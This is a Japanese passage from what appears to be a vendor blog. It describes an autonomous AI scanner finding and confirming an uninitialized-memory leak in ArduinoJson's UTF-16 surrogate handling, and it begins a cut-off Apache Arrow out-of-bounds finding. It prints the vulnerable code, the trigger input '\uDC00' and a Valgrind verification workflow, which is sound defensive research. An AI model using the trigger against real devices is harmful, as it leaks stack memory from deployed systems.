&lt;p&gt;リソースが限られたデバイス上でのコードサイズとメモリフットプリントを最小化するため、内部の&lt;code&gt;Utf16::Codepoint&lt;/code&gt;クラスは、デフォルトの初期化子を持たないプライベートな状態変数をスタック上に定義していました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// json/utf16.hpp&lt;/span&gt;
&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;Codepoint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;private&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_highSurrogate&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// Line 55: Declared without an initializer&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_codepoint&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;不正なサロゲートシーケンスが与えられた場合に、&lt;code&gt;_highSurrogate&lt;/code&gt;が代入前に読み取られる可能性があることを認識したうえで、ライブラリはインラインコメントを付けて、コンパイラーの未初期化警告を明示的に抑制していました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// The high surrogate may be uninitialized if the pair is invalid,&lt;/span&gt;
&lt;span class="c1"&gt;// we choose to ignore the problem to reduce the size of the code&lt;/span&gt;
&lt;span class="c1"&gt;// Garbage in =&amp;gt; Garbage out&lt;/span&gt;
&lt;span class="cp"&gt;#if defined(__GNUC__) &amp;amp;&amp;amp; __GNUC__ &amp;gt;= 7&lt;/span&gt;
&lt;span class="cp"&gt;#pragma GCC diagnostic ignored "-Wmaybe-uninitialized"&lt;/span&gt;
&lt;span class="cp"&gt;#endif&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;デシリアライゼーションの際、&lt;code&gt;Utf16::Codepoint::append()&lt;/code&gt;は、有効な上位サロゲートに遭遇したときにのみ&lt;code&gt;_highSurrogate&lt;/code&gt;に値を設定します（&lt;code&gt;utf16.hpp:36&lt;/code&gt;）。もしパーサーが先行する上位サロゲートなしに&lt;strong&gt;単独の下位サロゲート&lt;/strong&gt;（&lt;code&gt;\uDC00&lt;/code&gt;など）を受け取ると、制御はそのまま下位サロゲートのデコード処理へと分岐します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;codeunit&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isHighSurrogate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;codeunit&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;_highSurrogate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;codeunit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x3FF&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// The only write site&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isLowSurrogate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;codeunit&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Reads uninitialized stack memory from _highSurrogate&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;_codepoint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x10000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;_highSurrogate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;codeunit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x3FF&lt;/span&gt;&lt;span class="p"&gt;)));&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;_codepoint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;codeunit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;_highSurrogate&lt;/code&gt;はスタックフレーム上で一度も初期化されていないため、&lt;code&gt;append()&lt;/code&gt;は古いスタックのバイトに対してビット演算を行います。汚染された&lt;code&gt;_codepoint&lt;/code&gt;は&lt;code&gt;value()&lt;/code&gt;を通じて返され、&lt;code&gt;Utf8::encodeCodepoint()&lt;/code&gt;内のUTF-8シリアライゼーションのシンクへ直接渡されます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// src/ArduinoJson/Json/Utf8.hpp:21&lt;/span&gt;
&lt;span class="c1"&gt;// The library builds the UTF-8 byte stream in reverse into a local buffer:&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;codepoint32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x80&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Conditional branch depends on uninitialized value&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;codepoint32&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;codepoint32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x80&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xBF&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Continuation byte&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;codepoint16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;codepoint32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;codepoint16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;codepoint16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// 2-byte leading byte&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;codepoint16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x80&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xBF&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;codepoint16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;codepoint16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;codepoint16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;codepoint16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xE0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// 3-byte leading byte&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;codepoint16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x80&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xBF&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;codepoint16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;codepoint16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;codepoint16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xF0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// 4-byte leading byte&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;この汚染された値が出力されるUTF-8バイトストリームを実質的に決定するため、それ以前の関数呼び出しで残ったスタックメモリが、そのまま出力文字列にシリアライズされてしまいます。&lt;/p&gt;
&lt;h3 id="deep agentic scanはメモリ漏えいをどう追跡したか"&gt;Deep Agentic Scanはメモリ漏えいをどう追跡したか&lt;/h3&gt;
&lt;p&gt;未初期化変数に対するコンパイラー警告の抑制は、理論上の問題、あるいは「garbage in, garbage out」の無害な挙動として片付けられがちです。この欠陥が悪用可能なセキュリティリスクに当たるかどうかを確かめるため、Deep Agentic Scanは、精密なペイロード生成と動的なメモリ追跡分析という2つの異なるフェーズにわたる自律的な検証ワークフローを実行しました。&lt;/p&gt;
&lt;h4 id="1. ベースラインとの差分の組み立て"&gt;1. ベースラインとの差分の組み立て&lt;/h4&gt;
&lt;p&gt;エージェントはまず差分の仮説を立てました。有効で無害な入力はメモリの異常なしにきれいに解析されるはずであり、一方で狙いを定めた単独の下位サロゲートは未初期化の読み取りを引き起こすはずだ、というものです。&lt;/p&gt;
&lt;p&gt;無関係な構文エラーを引き起こしかねないランダムなファズのバイト列や深くネストした構造を送るのではなく、エージェントは狙いを定めた8バイトのJSONスカラーのペイロード&lt;code&gt;"\uDC00"&lt;/code&gt;と、対照用の入力&lt;code&gt;{"a":"hello"}&lt;/code&gt;を組み立てました。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Deep Agentic Scanの自律的なツール呼び出しが、差分テスト用のペイロードと対照用ベースラインを組み立てる様子" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-22_autonomous_agents_tricky_vulnerabilities/finding_3_payload_synthesis_tool_call.png" title="Deep Agentic Scanによるペイロードと無害なベースラインの組み立てのツール呼び出し"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Deep Agentic Scanによるペイロードと無害なベースラインの組み立てのツール呼び出し&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h4 id="2. valgrindによる動的なメモリ発生源の追跡"&gt;2. Valgrindによる動的なメモリ発生源の追跡&lt;/h4&gt;
&lt;p&gt;未初期化メモリの使用というバグを動的に捕捉する手段として、コンパイラーはMemorySanitizer（MSan）を提供しており、実行時のバイナリ計装では&lt;strong&gt;Valgrind Memcheck&lt;/strong&gt;（Linuxのメモリエラー検出における業界標準の動的解析ツール）が使われます。コンテナのセキュリティ制約により、MemorySanitizerがアドレス空間のランダム化（&lt;code&gt;ADDR_NO_RANDOMIZE&lt;/code&gt;）を変更できなかったため、エージェントは動的に戦略を切り替え、スタンドアロンのハーネスをコンパイルして、&lt;code&gt;--track-origins=yes&lt;/code&gt;と&lt;code&gt;--error-exitcode=77&lt;/code&gt;を指定したValgrind Memcheckの下で実行しました。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Deep Agentic ScanによるValgrind Memcheckの実行で、未初期化値の使用と正確なスタック上の発生源が明らかになる様子" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-22_autonomous_agents_tricky_vulnerabilities/finding_3_valgrind_origin_tracking.png" title="Deep Agentic ScanによるValgrind Memcheckの実行と発生源の追跡"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Deep Agentic ScanによるValgrind Memcheckの実行と発生源の追跡&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;得られた実行トレースは、エクスプロイトチェーンのエンドツーエンドのエビデンスとなりました。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;スタック上の発生源（&lt;code&gt;json_deserializer.hpp:357&lt;/code&gt;）&lt;/strong&gt;：Valgrindのシャドウメモリトラッカーが、&lt;code&gt;parseQuotedString()&lt;/code&gt;内で未初期化メモリがスタック上に確保された正確な瞬間を特定しました。これは未初期化の&lt;code&gt;_highSurrogate&lt;/code&gt;メンバーに対応します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;最初に汚染された分岐（&lt;code&gt;utf8.hpp:21&lt;/code&gt;）&lt;/strong&gt;：&lt;code&gt;append(0xDC00)&lt;/code&gt;が未初期化のサロゲート状態を使ってコードポイントを計算した際、&lt;code&gt;encodeCodepoint()&lt;/code&gt;は&lt;code&gt;if (codepoint32 &amp;lt; 0x80)&lt;/code&gt;を評価しました。Valgrindはこの判断ポイントを、&lt;code&gt;Conditional jump or move depends on uninitialised value(s)&lt;/code&gt;として即座に捕捉しました。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;シリアライズされた出力への持ち出し（&lt;code&gt;text_formatter.hpp:38&lt;/code&gt;）&lt;/strong&gt;：続いて&lt;code&gt;TextFormatter::writeString&lt;/code&gt;で出た警告により、これが単なる内部の演算上の異常ではないことが確認されました。破損したコードポイントはUTF-8のバイトに変換され、シリアライズされたJSONの出力文字列に直接書き込まれていました。これにより、それ以前の実行フレームで残ったスタックメモリが、解析結果を利用するあらゆるクライアントに露出することが実証されました。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;決定的な終了コード（&lt;code&gt;77&lt;/code&gt;）&lt;/strong&gt;：無害なベースラインはエラーなしで実行され、終了コード&lt;code&gt;0&lt;/code&gt;を返した一方、トリガー用のPoCはコード&lt;code&gt;77&lt;/code&gt;で終了し、明確な差分による検証となりました。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Deep Agentic ScanによるValgrind Memcheckの持ち出しトレースと終了コード77による検証" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-22_autonomous_agents_tricky_vulnerabilities/finding_3_valgrind_leak_and_exit_code.png" title="Deep Agentic ScanによるValgrind Memcheckの持ち出しトレースと終了コード77"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Deep Agentic ScanによるValgrind Memcheckの持ち出しトレースと終了コード77&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="検出結果4:ファザーのテストハーネスをすり抜けるヒープ領域外アクセスによるメモリ破壊"&gt;検出結果4：ファザーのテストハーネスをすり抜けるヒープ領域外アクセスによるメモリ破壊&lt;/h2&gt;
&lt;p&gt;Apache Arrow（広く使われている高性能な列指向データフレームワーク）の旧バージョンに対する自律的なソースコードスキャンの中で、Deep Agentic Scanは、内部のテストハーネスと実際のクライアントAPIとの間にあるアーキテクチャ上の食い違いを発見しました。&lt;/p&gt;
&lt;h3 id="領域外読み取りの脆弱性パターン"&gt;領域外読み取りの脆弱性パターン&lt;/h3&gt;
&lt;p&gt;Apache Arrow（高速なIPCやネットワークストリームを扱う）では、データ交換はバイナリのシリアライゼーション形式に依存しています。受信したメッセージのメタデータをデシリアライズする際、フレームワークはバイナリのメッセージヘッダーからフィールド属性を内部のメタデータ構造に直接コピーします。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ipc/reader.cc:166-179&lt;/span&gt;
&lt;span class="n"&gt;Status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;GetFieldMetadata&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;field_index&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ArrayData&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flatbuf&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;FieldNode&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nodes&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;field_index&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

